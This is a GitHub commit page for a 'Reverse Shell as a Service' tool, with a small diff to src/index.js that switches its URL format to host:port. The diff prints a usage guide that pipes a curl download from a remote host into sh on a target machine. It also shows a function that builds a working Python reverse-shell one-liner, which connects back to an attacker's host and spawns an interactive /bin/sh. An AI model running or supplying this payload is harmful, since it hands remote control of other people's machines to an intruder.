Skip to content

Commit

Permalink
Use colon seperator for ip:port
Browse files Browse the repository at this point in the history
  • Loading branch information
lukechilds committed Sep 13, 2017
1 parent 929f86e commit 3335aa7
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions src/index.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,15 +6,15 @@ const usage = `# Reverse Shell as a Service
# 1. On your machine, open up a port and listen to it with netcat
# nc -l 1337
#
# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip/port into sh
# curl https://shell.now.sh/192.168.0.69/1337 | sh
# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip:port into sh
# curl https://shell.now.sh/192.168.0.69:1337 | sh
#
# 3. Don't be a dick`;

const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`;

const reverseShell = req => {
const [, host, port] = req.url.split('/');
const [host, port] = req.url.substr(1).split(':');
return (host && port) ? generatePayload(host, port) : usage;
};

Expand Down

0 comments on commit 3335aa7

Please sign in to comment.